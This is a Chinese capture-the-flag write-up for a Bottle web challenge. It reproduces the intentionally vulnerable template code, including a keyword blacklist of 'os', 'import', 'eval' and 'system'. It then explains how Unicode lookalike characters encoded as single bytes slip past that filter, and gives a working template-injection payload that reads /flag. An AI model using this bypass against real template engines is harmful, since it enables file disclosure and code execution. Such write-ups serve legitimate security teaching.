XYCTF-出题人又疯
Created At :
Count:292
Views 👀 :
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| ''' @File : app.py @Time : 2025/03/29 15:52:17 @Author : LamentXU ''' import bottle ''' flag in /flag ''' @bottle.route('/') def index(): return 'Hello, World!' blacklist = [ 'o', '\\', '\r', '\n', 'os', 'import', 'eval', 'exec', 'system', ' ', ';' ] @bottle.route('/attack') def attack(): payload = bottle.request.query.get('payload') if payload and len(payload) < 25 and all(c not in payload for c in blacklist): print(payload) return bottle.template('hello '+payload) else: bottle.abort(400, 'Invalid payload') if __name__ == '__main__': bottle.run(host='0.0.0.0', port=5000)
|
过滤了更多的字符。没办法用之前的方法了。
但是可以用斜体字绕过
python中有如下特性:

可以用斜体文字绕过
payload:
报错了,本地调试一下,发现url传参的时候把斜体的𝓸解析成了两个字符。
如图

可以看到斜体的o被解析成了%C2%BA
其实这里是一个URL解码的小坑。一个%BA就足够了。我们删除%C2即可。
对字符a,同理。替换为%aa
最终payload:
1
| /attack?payload={{%BApen(%27/flag%27).re%aad()}}
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。